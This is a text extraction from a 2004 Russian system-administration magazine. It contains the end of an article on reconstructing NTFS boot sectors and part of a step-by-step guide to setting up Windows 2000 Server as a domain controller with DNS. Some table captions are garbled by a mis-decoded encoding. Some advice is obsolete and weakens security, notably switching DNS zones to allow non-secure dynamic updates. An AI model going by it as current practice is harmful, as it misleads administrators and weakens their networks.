Òàáëèöà 6. Ðàçìåð êëàñòåðà, âûáèðàåìûé Windows 2000 ïî óìîë÷àíèþ

Òàáëèöà 5. Ñòðîåíèå NTFS boot-ñåêòîðà

Page 89: 023 Системный Администратор 10 2004

87№10(23), октябрь 2004

образование

ным поиском (строка «FILE*» по смещению 0 от начала сек-тора). При разрушении или некорректном заполнении extendPBP драйвер файловой системы отказывается монтироватьраздел, объявляя его неотформатированным.

Следом за extend PBP идет Bootstrap Code, которыйищет на диске операционный загрузчик (у Windows NT этоntldr), загружает его в память и передает ему управление.Если Bootstrap Code отсутствует, загрузка операционнойсистемы становится невозможной, однако, при подключе-нии восстанавливаемого диска вторым раздел должен бытьпрекрасно виден. Порча Bootstrap Code вызывает перезаг-рузку компьютера или его зависание.

И завершает boot-сектор уже известная нам сигнатура55h AAh, без которой он ни за что не будет признан загру-зочным.

Загрузочный сектор – техникавосстановленияОсознавая значимость загрузочного сектора, Windows NTпри форматировании диска создает его зеркальную копию(правда, только на NTFS-разделах). Windows NT 4.0 распо-лагает ее посередине логического диска, а Windows 2000 –в последнем секторе раздела. Если partition table цела, про-сто перейдите в начало следующего раздела и отступите насектор назад (Windows 2000) или поделите количество сек-торов логического диска пополам (с округлением в нижнююсторону) и скажите редактору диска «GO» (Windows NT 4.0).

Если же таблица разделов разрушена, найти копию сек-тора можно глобальным поиском (ищите строку «NTFS» посмещению 3 от начала сектора). Поскольку положение ко-пии фиксировано и отсчитывается от начала логическогодиска, мы можем с абсолютной уверенностью определитьграницы раздела.

Допустим, копия boot найдена в секторе 1 289 724, аполе NumberSectors содержит значение 12 289 661. Тогдаконечный сектор раздела равен 1 289 724, а стартовый:1289724 – 12289661 == 63. Поскольку загрузочный секторрасположен на расстоянии одной головки от partition table,

что соответствует SectorPerTrack-секторам, мы можем вос-становить и ее.

В отсутствии копий, boot-сектор приходится реконстру-ировать вручную. Это легко. В поле идентификатора про-изводителя заносится строка «NTFS» (без кавычек, но счетырьмя пробелами на конце). Количество секторов в тре-ке и число головок заполняются исходя из текущей геомет-рии диска. Количество скрытых секторов (т.е. секторов, рас-положенных между началом раздела и boot-сектором) рав-но числу головок. Общее количество секторов в разделевычисляется на основании его размера (если точный раз-дел не известен, берите значение с запасом).

Количество секторов в кластере определить сложнее(особенно, если диск отформатирован со значением, отлич-ным от принятого по умолчанию). Но ситуация вовсе не без-надежна. Последовательно сканируя файловые записи вMFT, найдите файл с заранее известной сигнатурой. Пустьдля определенности это будет NTOSKRNL.EXE. Откройте егоаутентичную копию в HEX-редакторе, найдите уникальнуюпоследовательность, гарантировано не встречающуюся нив каких других файлах и расположенную в пределах первых512 байт от его начала, после чего найдите ее глобальнымпоиском на диске. Начальный номер кластера вам известен(он содержится в MFT), логический номер сектора тоже (егонашел дисковый редактор). Теперь остается лишь соотнес-ти эти две величины между собой. Естественно, если диско-вый редактор найдет удаленную копию ntoskrnl.exe (или надиске будут присутствовать несколько файлов ntoskrnl.exe),данный метод даст осечку, поэтому полученный результатнеобходимо уточнить на других файлах.

Логический номер первого кластера MFT равен перво-му кластеру, в начале которого встретилась строка «FILE*»(конечно, при том условии, что MFT не был перемещен).Штатно Windows выделяет под MFT 10% от емкости разде-ла, помещая зеркало в середину. Кроме того, ссылка назеркало присутствует и в самом MFT. Если же он разру-шен, переместитесь в середину диска, немного отступитеназад и повторите глобальный поиск строки «FILE*» (толь-ко смотрите, не вылетите в соседний раздел!). Первое женайденное вхождение с высокой степенью вероятности ибудет зеркалом.

Количество кластеров на сегмент обычно равно F6h, ана блоке индексов – 01h. Других значений мне встречатьне доводилось. Серийный номер тома может быть такжелюбым – он ни на что не влияет.

Для восстановления отсутствующего (искаженного)bootstrap code загрузите консоль восстановления и отдай-те команду FIXBOOT.

ЗаключениеКак видно, в восстановлении данных нет ничего мифическо-го и для устранения большинства типов разрушений не тре-буется никакой квалификации. Если же некоторые моментывам не понятны, перечитайте эту статью с дисковым редак-тором в руках. До сих пор мы говорили о достаточно про-стых и хорошо известных вещах. Теперь, как следует раска-чавшись и освоившись с основными понятиями, мы можемотправляться в самые дебри NTFS, восстановлению струк-тур которой посвящена следующая статья этого цикла.

Òàáëèöà 7. Çíà÷åíèå ïîëåé NTFS boot-ñåêòîðà

Page 90: 023 Системный Администратор 10 2004

88

образование

Данная статья – попытка автора систематизировать свойопыт по установке и настройке Windows 2000/2003 Serverдля начинающих технических специалистов. Она не пре-тендует на полноту и абсолютную однозначность методов,а предназначена исключительно для предоставления на-чального опыта по настройке серверных систем на основеWindows 2000/2003 Server по принципу пошаговой инструк-ции. Процесс будет рассмотрен на примере Windows 2000Server. Отличия в Windows 2003 Server незначительны и,как правило, интуитивно понятны.

Статья публикуется в двух частях. В первой части рас-сказывается об установке и настройке Windows 2000 Serverи повышении его роли до контроллера домена. Во второйчасти будет рассматрено создание и настройка серверовприложений на основе служб терминалов Windows и ихмодернизации при помощи продукта Citrix Metaframe XPPresentation Server.

Системные требованияИтак, список того, что нам понадобится, и рекомендациипо системным требованиям:! Диск с дистрибутивом Windows 2000 Server. Рекомен-

дуется, чтобы он был оригинальным, загрузочным.! CD-ROM Drive с возможностью загрузиться с него. Не-

которые частично неисправные или старые приводы непозволяют произвести с них загрузку системы. Если выс этим столкнулись, то придется сделать загрузочныедискеты. Этот процесс описан в самом начале раздела«Установка ОС Windows 2000 Server»

! Компьютер со следующими минимальными требовани-ями: PII-433, 128 Мб RAM, 4 Гб HDD. По опыту автораданные характеристики являются минимальными и нерекомендованы к реальному использованию. Реальныесистемные требования для практической работы зави-сят от задач, возлагаемых на сервер.

! Если это будет простенький, экономичный сервер длявыполнения задач по хранению нескольких неболь-ших баз данных (например, базы «1С:Предприятие»)и предназначенные для использования 2-5 клиента-ми, то приемлемая конфигурация будет такой: PIII илиCeleron 300-733 МГц, RAM 256 Мб, HDD 10-20 Гб. Этойже конфигурации хватит для организации шлюзаобщего доступа в Интернет для небольшой органи-зации с количеством рабочих станций до 10 (прокси-сервер, статистика работы пользователей в сети Ин-тернет, защитный межсетевой экран – Firewall, по-чтовый сервер).

! Для организации файл-сервера, используемого ра-бочей группой от 10 до 20 пользователей или опи-санного выше шлюза в Интернет для 20-30 пользо-вателей рекомендуется следующая конфигурация:PIII-1000-1300, 256-512 Мб RAM, IDE HDD 40-120 Гб,SCSI HDD 36 Гб. Использование SCSI-диска и быст-рых процессоров для шлюза требуется при необхо-димости вести протокол и постоянную переиндекса-цию базы данных статистики запросов к прокси-сер-веру и протокола безопасности. При отсутствии та-кой необходимости достаточно одного IDE-диска ипроцессора Celeron-500-733.

! Для организации сервера терминалов с количествомактивных пользователей от 5 до 10: PIV-1.7 ГГц, RAM512-768 Мб, IDE HDD 40-120 Гб, SCSI HDD 18-36 Гб.

! Сервер терминалов для 15-30 пользователей уже же-лательно строить на двухпроцессорных системах. На-пример, для поднятия сервера терминалов для 20пользователей, каждый из которых открывает по 2базы «1С:Предприятие» в терминальном режиме, не-обходим сервер со следующими характеристиками:2 * Xeon 1.8-2.4 ГГц, 1.5-2 Гб RAM, SCSI-RAID-5 (3-4SCSI-HDD + SCSI-RAID-контроллер).

УСТАНОВКАИ НАСТРОЙКАW2K SERVER

РОМАН МАРКОВ

Page 91: 023 Системный Администратор 10 2004

89№10(23), октябрь 2004

образование

Более подробные рекомендации по выбору сервера вы-ходят за рамки этой статьи. Единственное, что можно ска-зать, – при наличии финансовой возможности старайтесьне экономить и покупать качественное «железо», от извес-тных производителей. Хороший обзор есть здесь: http://www.fcenter.ru/articles.shtml?technologies/2513.

Установка ОС Windows 2000 ServerВходим в BIOS и задаем первичную загрузку с CD-ROM.По возможности все остальные устройства для загрузки зап-рещаем. То есть у нас должно остаться: First boot device –CD-ROM. Остальные устройства выставляем (если это воз-можно) в Disabled. Выходим из BIOS, сохранив изменения.

Загружаемся с CD-ROM Windows 2000 Server. Если нажесткий диск уже установлена какая-либо ОС, то необхо-димо будет нажать любую клавишу в момент появлениянадписи: «Press Any Key for boot from CD», иначе загрузит-ся старая установленная система. Некоторые частично не-исправные или старые приводы не позволяют произвестис них загрузку системы. Если вы с этим столкнулись, топридется сделать загрузочные дискеты. Или загружаемсяс любой загрузочной дискеты Windows 98 и запускаем изпапки I386 файл winnt.exe, либо подготавливаем специаль-ные дистрибутивные диски. Подготавливаем 4 чистые от-форматированные дискеты, на оригинальном дистрибутив-ном диске заходим в папку BOOTDISK и запускаемMakeboot.bat. После создания таких дискет загружаемся сних. Обращаю внимание, что для обеспечения надежностии удобства необходим оригинальный загрузочный CD с ди-стрибутивом или загрузка именно с этих дискет.

Программа установки начнет загружать необходимыефайлы. Если вы устанавливаете систему на SCSI- или SATA-диск, необходимо сразу при старте загрузки нажать клави-шу <F6> (сообщение об этом появится в нижней части эк-рана) и установить драйвера этого устройства (поставля-ются в комплекте с материнской платой или платой SCSI).Если вы все сделали правильно, программа установки пред-ложит вам добавить необходимые драйверы, вставив дискот производителя. После вывода списка устройств, для ко-торых будут найдены драйверы, выбираем устройство, ус-тановленное в нашей системе. В противном случае програм-ма установки сообщит, что не обнаружила дисков для ус-тановки. В процессе загрузки файлов экран может статьчерным на время до 5 минут. Не спешите перезагружатькомпьютер – терпеливо выждите. Нажмите <ENTER> дляпродолжения установки, затем <F8> для принятия условийлицензионного соглашения (если вы, конечно, его прини-маете). Программа установки предложит выбрать раздел,в который будет устанавливаться ОС. Рассмотрим новуюустановку на диск, все данные с которого можно удалить.Если на диске имеются нужные данные, необходимо создатьполную архивную копию на другой жесткий диск. В против-ном случае вы потеряете свои данные!

Если на жестком диске уже есть разделы (они будут ото-бражены), то просто удаляем их (все данные будут уничто-жены!). Нажимаем для этого клавишу <D>, затем <ENTER>и подтверждаем удаление клавишей <L>. Повторяем совсеми разделами, до тех пор пока не останется одна «Не-размеченная область», объемом с диск.

Если у вас новый жесткий диск или вы уже удалили снего все разделы, то необходимо создать раздел для уста-новки. Выбираем требуемый диск, выделяем «Неразмечен-ную область», нажимаем клавишу <C> для создания ново-го раздела и вводим его размер. Рекомендуемый размер вмегабайтах 8000-20000. Если общий объем жесткого дис-ка составляет не более 10 Гб, то имеет смысл отдать подсистему 5000 Мб, а большие приложения устанавливать вдругой раздел (его мы создадим позже, из оставшегосяместа на диске). Оставляем неразмеченную область безизменений и выбираем для установки созданный раздел,нажав на нем <ENTER>.

Выбираем «Форматировать раздел в системе NTFS».Далее система отформатирует раздел и скопирует на неговсе необходимые файлы. Ваше участие не понадобится втечение 10-15 минут. Можете пить чай. Компьютер авто-матически перезагрузится. После этого вы увидите при-глашение продолжить установку, нажав клавишу «Далее».После этого произойдет обнаружение устройств, и появит-ся предложение выбрать язык и стандарты. Здесь реко-мендуется «Язык системы и язык пользователя» выбирать«Русский» (установлен по умолчанию), а раскладку клави-атуры выставлять по умолчанию в «Английский (США)»(нижнее меню Настроить →→→→→ Английский (США) →→→→→ Исполь-зовать по умолчанию →→→→→ Применить →→→→→ ОК). Затем вводимимя пользователя и организацию (это просто информаци-онные данные, а не имя для входа), например: Админист-ратор – ООО «Рога и копыта». Вводим регистрационныйномер вашего дистрибутива. Выбираем лицензирование«На сервер» и вводим приобретенное нами количество ли-цензий (по количеству пользователей + запас). Здесь вво-дим имя нашего сервера и пароль администратора. Имясервера – латинскими буквами и цифрами, без пробелов(допускается «дефис»). Приступаем к выбору компонентов.Выбор компонентов установки опишем для наиболее час-то применимых ситуаций. Если что-то понадобится в про-цессе работы, всегда можно добавить. Снимаем все галки,кроме «Служба индексирования» и «Стандартные и слу-жебные программы». Ставим курсор на «Сетевые службы»и устанавливаем только одну галку: DHCP.

Если наш сервер будет являться еще и сервером тер-миналов, то устанавливаем галочки также на «Лицензиро-вание служб терминалов» и «Службы терминалов», а такжепри необходимости организации веб-доступа к серверу при-ложений – устанавливаем галку «Internet Information Server».На дальнейший вопрос о режиме сервера терминалов (по-явится чуть позже) ответим: «Режим сервера приложений»и (если у нас нет особых старых приложений, которым не-обходим полный доступ к системным папкам) «Разреше-ния группы пользователей Windows 2000». Соглашаемся спредупреждением о том, что уже установленные приложе-ния могут работать некорректно – как правило, это некритично. Указываем доступность «Для всего предприятия»если у вас сложная доменная структура и дочерним доме-нам необходим доступ к данному серверу. Для одноуровне-вой доменной структуры – выбор не важен. Путь в пункте«Установить базу данных сервера» оставляем по умолчанию.

Жмем «Далее» и устанавливаем текущие дату и время.Проверяем, чтобы часовой пояс соответствовал вашему

Page 92: 023 Системный Администратор 10 2004

90

образование

(в Петербурге и Москве это «(GMT+03:00) Москва, Санкт-Петербург, Волгоград». Помните, что некорректно устано-вив этот параметр, можно впоследствии столкнуться с про-блемами. Жмем «Далее».

Система установит сетевые компоненты и, если сможетавтоматически обнаружить сетевые адаптеры, – предложитустановить их параметры. Выбираем «Особые параметры»,нажимаем далее и выбираем «Протокол Интернета (TCP/IP).Жмем «Свойства» и выставляем «Использовать следую-щий IP-адрес». Задаем адрес. Если мы уверены, что всенастраиваем «с нуля», то задаем, например 192.168.0.1 дляфайл-сервера, или 192.168.0.254 для шлюза в Интернет(подразумевается, что существующая подсеть имеет диа-пазон адресов 192.168.0.XXX). Для того чтобы проверить,не занят ли этот адрес кем-либо, включаем все компьюте-ры локальной сети, и в командной строке пишем:

Если получаем сообщение о превышении интервалаожидания, то адрес, скорее всего, не занят (если, конечно,прохождение ICMP-пакетов не запрещено firewall, что яв-ляется в грамотно настроенной локальной сети спорнымрешением). Маску подсети оставляем по умолчанию:255.255.255.0. Параметр «Шлюз по умолчанию» устанав-ливаем в соответствии с его внутрисетевым IP-адресом.Если этот компьютер сам будет являться шлюзом в Интер-нет/другую сеть, то, скорее всего, в нем установлены двесетевые карты. Тогда первой карте присваиваем адрес192.168.0.254, маску 255.255.255.0, оставляем пустым поле«Шлюз по умолчанию». Адреса DNS-серверов оставляемпустыми, либо присваиваем им адреса DNS-сервера ло-кальной сети (если он есть) или DNS-сервера провайдера.При наличии второй сетевой карты, к которой будет под-ключен кабель, идущий к интернет-провайдеру, выставля-ем параметры внешнего соединения. Помните, что кабельсоединения с провайдером можно подключать только дляустановки критических обновлений системы и межсетево-го экрана. В противном случае вы рискуете сразу же под-вергнуться вирусной атаке. Жмем «ОК» и «Далее». Остав-ляем компьютер без домена галкой «Нет, этот компьютерне участвует в сети или сеть не имеет доменов» (при необ-ходимости введем в домен потом, после установки всехобновлений и драйверов). Жмем «Далее» и опять отдыха-ем в течение 5-10 минут до появления сообщения «Завер-шение установки Windows 2000». Нажимаем «Готово», ком-пьютер уходит на перезагрузку. Входим в BIOS и меняем впорядке загрузки CD-ROM на IDE-0 или SCSI или RAID (взависимости от варианта вашей установки). Сохраняем из-менения и продолжаем загрузку.

Входим в систему, выбираем «Я выполню настройку это-го сервера позже», «Далее». Затем снимаем галку «Откры-вать это окно при загрузке» и закрываем окно. Затем пра-вой клавишей нажимаем на Мой компьютер →→→→→ Свойства →→→→→Дополнительно. В разделе «Параметры быстродействия»выделяем «Оптимизировать быстродействие» и оставля-ем «Служб, работающих в фоновом режиме», если это бу-дет отдельно стоящий файл-сервер, или меняем на «При-ложений», если на нем будут выполняться задачи в режи-

ме рабочего стола или сервера терминалов. Затем: Вирту-альная память →→→→→ Общий объем файла подкачки на всехдисках →→→→→ Изменить… Задаем фиксированный размер фай-ла подкачки («Исходный размер» и «Максимальный раз-мер» – присваиваем одну и ту же величину). Рекомендуе-мый размер – не более 2-кратного размера оперативнойпамяти. Не стоит, однако, делать размер этого файла ме-нее 500 Мб. Не забываем нажать «Задать», а только затем«ОК». Еще раз жмем «ОК». Если предлагают перезагру-зиться – отказываемся.

Вставляем диск с драйверами материнской платы и ус-танавливаем сначала именно ее драйверы. Для экономич-ных решений на базе обычных (не серверных) материнскихплат рекомендуется иметь в коллекции так называемый уни-версальный диск с драйверами для самых популярных чип-сетов. Он автоматически определяет установленную мате-ринскую плату и устройства, затем предлагает установитьсоответствующие драйвера, т.к. очень часто клиенты по-нятия не имеют, «где у них диск с драйверами от матери».Перезагружаем компьютер. Снова делаем автозапуск дис-ка с драйверами. Устанавливаем все оставшиеся драйве-ра, отказываясь от перезагрузки после каждого из них. Пе-резагружаем компьютер только после установки всех ос-тальных драйверов (видео, аудио, сеть, USB и т. д.).

Правой клавишей нажимаем на Мой компьютер →→→→→ Уп-равление →→→→→ Управление дисками.

Если вы не планируете создавать программные RAID-массивы средствами самой ОС с участием этих дисков, об-новлять их до динамических необязательно. Здесь не рас-сматриваются основы файловых систем – подразумевает-ся, что читатель сам изучит этот материал.

Правой клавишей по приводу CD – Изменение буквыдиска и пути диска →→→→→ Изменить →→→→→ Назначить букву диска →→→→→Выбираем следующую за предполагаемым количеством дис-ков. Например, если у нас есть неразмеченная область насистемном диске, то оставляем ей букву «D», а CD-приводуприсваиваем букву «E». На предупреждение отвечаем со-гласием. Затем на «Диск 0» щелкаем правой клавишей поНераспределенной области →→→→→ Создать раздел →→→→→ Далее →→→→→Основной раздел →→→→→ Далее… Отдаем под него все оставше-еся место. Не стоит плодить большое количество логичес-ких дисков – двух достаточно: один под систему, второй подархивы/дистрибутивы. Разделять систему и данные по раз-ным разделам очень рекомендуется, т.к. при сбоях разделас данными можно будет загрузить систему и попытаться ис-править неполадки. Жмем Далее →→→→→ Назначить букву диска«D» →→→→→ Далее →→→→→ Форматировать данный раздел следующимобразом: «Файловая система» – NTFS, «Размер кластера» –по умолчанию, «Метка тома» – оставляем пустым. Затем,если мы уверены в качестве нашего диска и у нас нет лиш-них 1-2 часов на полное форматирование, например, 100 Гб,то выставляем галку «Быстрое форматирование». Гал-ку«Применять сжатие файлов и папок» не стоит выставлять,если вы не понимаете все последствия этого шага. Скажемлишь, что сжатие всего раздела средствами NTFS при со-временных объемах дисков неактуально, так как экономияместа не будет оправдана в связи с замедлением работы сэтим томом. Нажимаем «Далее» →→→→→ «Готово». Если быловыбрано «Быстрое форматирование», то процесс займет не

ping 192.168.0.1

Page 93: 023 Системный Администратор 10 2004

91№10(23), октябрь 2004

образование

более 3-5 минут. Иначе – обладая разделом в 50-100 Гб,можно смело идти за пивом. Час-два форматирования обес-печен. Поэтому у клиентов рекомендую ставить систему назаведомо исправный и проверенный диск и выбирать «Быс-трое форматирование», чтобы не терять ценное время. Пос-ле того как на нашем разделе появилась надпись «Испра-вен», закрываем консоль «Управление компьютером».

Далее создаем на диске D: папку Distrib и в ней – папкуW2Kserver. Затем копируем в нее папку I386 с дистрибу-тивного CD-ROM Windows 2000 Server. Это необходимо длядальнейшего добавления компонентов, когда под рукойможет просто не оказаться дистрибутива. Позаботьтесь осебе и своих коллегах! Затем извлекаем диск с Windows 2000и убираем. Больше он нам не понадобится. В эту же папкурекомендуется скопировать и драйвера от установленныхустройств.

Открываем Пуск →→→→→ Программы →→→→→ Администрирова-ние →→→→→ Просмотр событий. Щелкаем правой клавишей попервому журналу и выбираем «Свойства». Там увеличива-ем размер журнала, например до 16 384 Кб, и выставляемгалку «Затирать старые события по необходимости». По-вторяем со всеми журналами.

Заходим в систему. Правой клавишей по пустому мес-ту на рабочем столе →→→→→ Свойства →→→→→ Настройка →→→→→ Дополни-тельно →→→→→ Адаптер →→→→→ Список всех режимов. Выбираем не-обходимое сочетание Разрешения/Глубины цвета/Частоты.Частоту выставляем не менее 85 Гц, если позволит мони-тор. Нажимаем «Применить». Если после мигания изобра-жение осталось на экране и является качественным, согла-шаемся с сохранением этой частоты. Помните, что LCD-мо-ниторы работают с частотой 60-75 Гц. Наилучший выбор до-стигается визуально и по техническому описанию модели.

Устанавливаем необходимые обновления системы:Service Pack и Hotfixes. Всегда необходимо иметь пакетыкритических обновлений на диске (таких как заплатки отвирусов MSBlast, он же Blaster, и Lsasser). При наличии до-ступа в Интернет можно установить обновления автомати-чески. Сразу после установки необходимого Service Pack(лучше ставить с диска, чтобы не расходовать трафик и вре-мя) и перезагрузки заходим на сайт www.windowsupdate.comОб этом будет рассказано позже.

Устанавливаем последний Service Pack (на момент на-писания статьи это был SP4), принимаем условия соглаше-ния, выбираем «Архивировать файлы» (необходимо длявозможной отмены установки SP4). Отдыхаем 5-10 минут.После окончания установки перезагружаем компьютер. Ди-стрибутив Service Pack также скидываем в нашу папку сдистрибутивами. Если вы не хотите, чтобы компьютер безвашего ведома проверял наличие обновлений на сайтеMicrosoft, то необходимо зайти в «Панель управления», выб-рать Windows Update и снять галку «Выполнять обновле-ние системы». Иначе – галку оставляем. Помните, что есливы оплачиваете интернет-трафик, то галка «Скачивать иустанавливать автоматически» может его неожиданно уве-личить. Теперь установим дополнительные обновления бе-зопасности.

Есть два способа установки этих обновлений: автома-тически через Интернет или скачав и установив их само-стоятельно.

! Нахождение, закачка и установка обновлений вручную.Список необходимых обновлений по степени их важнос-ти можно найти так: заходим на http://www.microsoft.com/technet/security/current.aspx и выбираем то, что у нас ус-тановлено. Например, Windows 2000 Server RUS + SP4.Затем выбираем степень важности. В принципе обыч-но достаточно степени «Critical», если у вас очень мед-ленная скорость закачки. После закачки необходимовручную установить все обновления.

! Автоматическая установка обновлений. Итак, открыва-ем Internet Explorer и набираем адрес: www.windowsupdate.com Соглашаемся с предложением установитьWindows Update. Жмем «Поиск и просмотр обновлений».После сообщения о нахождении обновлений выбираем«Просмотр и установка обновлений». Вам будет пред-ложено установить найденные обновления. Некоторые(например, IE 6.0) могут требовать отдельной установ-ки. Вообще, Internet Explorer 6.0 тоже рекомендуетсяиметь на диске, чтобы не качать его из Интернета. Итак,после нахождения обновлений нажимаем на «Критичес-кие обновления и пакеты обновлений» и выбираем «Ус-тановить». Система сама скачает и установит все необ-ходимые файлы. Если же канал в Интернет медленный,то лучше устанавливать все с диска (критические об-новления для W2K Server SP4 на момент написания этойстатьи занимают 21 Мб). Устанавливаем последнююверсию Internet Explorer, если не установили до этого.Перезагружаемся.

Все. На этом основная установка Windows завершена.Дальнейшие действия зависят от того, какую роль будетвыполнять наш сервер: контроллер домена, сервер терми-налов, файл-сервер домена, шлюз в Интернет или простофайл-сервер для маленькой рабочей группы.

Контроллер доменаСделаем из нашего сервера контроллер домена. Для этогоон должен быть включен в сеть и ему присвоен IP-адрес(например, 192.168.0.1, как описывалось выше). Если дляэкономии времени вы создаете сервер для клиента в сво-ей технической лаборатории, то подключать к нему кабельсвоей локальной сети не следует. Однако создать на такомсервере домен все равно возможно. Для этого зайдем вредактор реестра (regedit) и создадим следующий пара-метр: в ветке HKLM\System\CurrentControlSet\Services\Tcpip\Parameters параметр DisableDHCPMediaSense (типREG_DWORD). Его значение нужно установить в «1». Пе-резагрузим компьютер. Создавать этот ключ необходимотолько если компьютер не подключен к локальной сети (се-тевой карте другого компьютера). Если наш сервер подклю-чен к нужной сети, то данный параметр создавать не надо.Теперь поднимаем роль сервера до контроллера домена.Это нужно, если нам необходимо присвоить чужому (созда-ваемому для клиентов) серверу IP-адрес, который уже су-ществует в сети. Такой сервер нельзя подключать к исполь-зуемым сетевым коммутаторам, так как это спровоцируетконфликт IP-адресов в системе.

Входим в систему с учетной записью «Администратор»(или другой, обладающей полномочиями администратора).

Page 94: 023 Системный Администратор 10 2004

92

образование

В меню «Пуск» выбираем «Выполнить» и вводим командуDCPROMO. Запустится мастер. Выбираем Контроллер до-мена в новом домене →→→→→ Создать новое доменное дерево →→→→→Создать новый лес доменных деревьев. Затем вводим имядомена.

Внимание! Имя домена внутри локальных сетей можетбыть любым. Крайне рекомендуется присвоить вашему до-мену расширение *.local, тогда он гарантированно не будетконфликтовать с другими именами в Интернете. Практи-чески во всех случаях создания локальных сетей со стан-дартными задачами рекомендуется присваивать доменно-му имени расширение «local». Не присваивайте доменамимена типа firma.ru (или любым другим расширением, име-ющим прописку в виде зоны Интернета), кроме тех случа-ев, когда вы на 100% уверены, что это вам понадобится.Как показывает практика, это может понадобиться в край-не редких случаях, например, при организации фирмы похостингу чужих сайтов. Если вы не собираетесь становить-ся интернет-провайдером (а я уверен, что не собираетесь,иначе не читали бы эту статью) – присваивайте своему до-мену расширение «local». Эта зона специально создана длялокальных сетей. Не обращайте внимания на предложениемастера создания домена: «Если ваша фирма уже имеетDNS-имя домена, зарегистрированное в Интернете, то мож-но ввести его». Использование зарегистрированных в Ин-тернете имен не рекомендуется. Иначе если ваш сайт, по-чта и прочее хранятся у провайдера, а не в вашей сети –придется вручную прописывать в DNS-зону соответствиеих имен и IP-адресов.

Итак: вводим имя, например, firma.local, NETBIOS-имядомена оставляем, как предложено, – без суффикса «local».Соглашаемся с предложением мастера разместить базуданных и журнал на нашем системном диске (он обязатель-но должен быть отформатирован в системе NTFS, как опи-сывалось ранее). То же самое с папкой SYSVOL. Жмем «Да-лее». Получаем сообщение об отсутствующем DNS-серве-ре и нажимаем «ОК». С предложением «Автоматически ус-тановить и настроить DNS» соглашаемся. Если в нашей сетинет домена на основе Windows NT 4 Server, то выбираем«Разрешения, совместимые только с серверами Windows2000». Вводим пароль для восстановления Active Directoryна случай аварии. Просматриваем итоговую информациюи подтверждаем свой выбор для начала создания записейи служб AD. Создание домена занимает некоторое время(примерно 5-15 минут). Во время установки может потре-боваться дистрибутив Windows 2000 Server (для таких слу-чаев и необходимо копировать его на жесткий диск – вдругпод рукой не окажется). Указываем мастеру путь в скопи-рованную папку I386. После завершения создания доменабудет предложено перезагрузить компьютер.

После установки Active Directory у нас добавится не-сколько новых журналов событий. Увеличиваем их размери изменяем настройки, как было описано выше.

Настройка DNS-сервераПосле перезагрузки заходим в систему с полномочиями Ад-министратора домена. Затем Пуск →→→→→ Программы →→→→→ Адми-нистрирование →→→→→ DNS. Откроется консоль управления DNS-сервером. Если подменю «Администрирование» в меню

«Пуск →→→→→ Программы» отсутствует, то его можно туда до-бавить, щелкнув правой клавишей по панели задач Свой-ства →→→→→ Дополнительно →→→→→ Параметры меню «Пуск» →→→→→ Ста-вим галку «Отображать меню Администрирование».

Раскрываем ветку нашего сервера. Если мы будем на-страивать и общий доступ в Интернет, то раскрываем «Зоныпрямого просмотра» и удаляем зону «.» (точка). Зоны «.»может и не быть, если компьютер во время настройки DNS-сервера был подключен к Интернету). Если настройку об-щего доступа в Интернет производить не будем – оставля-ем как есть. Затем раскрываем «Зоны обратного просмот-ра». Они пусты. Правой клавишей – «Создать новую зону –Интегрированная в Active Directory». В качестве «Кода сети(ID)» задаем подсеть. В нашем случае 192.168.0. Нажима-ем «Готово». Сворачиваем оснастку DNS. Открываем свой-ства Сетевого окружения и вводим в свойствах TCP/IP на-шей сетевой карты в качестве адреса DNS-сервера IP-ад-рес нашего сервера (192.168.0.1). Нажимаем «ОК» и зак-рываем свойства сетевого окружения.

Разворачиваем оснастку DNS. Раскрываем зоны пря-мого просмотра и выделяем зону firma.local. Щелкаем поней правой клавишей – Свойства. В окне «Общие» – «Ди-намическое обновление» изменяем значение с «Толькобезопасные обновления» на «Да». То же самое проделы-ваем с зоной обратного просмотра 192.168.0.x Subnet.

Затем открываем командную строку и вводим:

Получаем сообщение о том, что «Начата регистрациязаписей ресурсов DNS…». Закрываем командную строку.Открываем оснастку DNS, выделяем «Зону прямого про-смотра» firma.local и убеждаемся, что справа появиласьновая запись типа «Узел» с именем и IP-адресом нашегосервера. Затем переходим на нашу зону обратного просмот-ра. В ней должна появиться запись типа «Указатель», так-же соответствующая нашему серверу.

Теперь проверим корректность настройки нашего DNS-сервера. Помните, что домены Windows 2000/2003 (ActiveDirectory) полностью основаны на DNS, и некорректная на-стройка DNS-сервера на этом этапе может вызвать даль-нейшие ошибки домена, вплоть до его полной неработос-пособности.

Корректность настройки проверяется из команднойстроки:

В обоих случаях должен быть одинаковый результат, со-держащий имя и IP-адрес DNS-сервера, обработавшего зап-рос, а также имя и IP-адрес запрошенного сервера (у насна данном этапе они должны совпадать). Если результат от-личается от приведенного, и мы видим только один IP-ад-рес/имя сервера, то наш DNS-сервер настроен некорректно!

Пример корректного результата выполнения проверки:

ipconfig /registerdns

nslookup <èìÿ_íàøåãî_ñåðâåðà>nslookup <IP_íàøåãî_ñåðâåðà>

C:\>nslookup Server

Server: Server.firma.local

Address: 192.168.0.1

Name: Server.firma.local

Address: 192.168.0.1

Page 95: 023 Системный Администратор 10 2004

93№10(23), октябрь 2004

образование

Все! Основа домена построена и остается только доба-вить пользователей и компьютеры. Для удобства автома-тизируем получение клиентами IP-адресов (очень удобно,так как не придется протоколировать, какие IP-адреса внашей сети уже присвоены, а какие свободны).

Обратите внимание, что по умолчанию на клиентах всвойствах сетевой карты стоят галочки на «Регистрироватьэто подключение в DNS». Они должны стоять, только есливы подняли собственный DNS-сервер внутри домена и наэтом сервере в созданной вами зоне разрешено динами-ческое обновление. У клиентов при этом в качестве DNS-сервера должен быть прописан только он (в нашей статьеописана именно такая конфигурация). Во всех остальных слу-чаях эту галку надо снимать, так как клиент будет пытатьсязарегистрировать себя у провайдера и выше, создавая не-нужный вам трафик, а провайдеру – ненужные запросы.

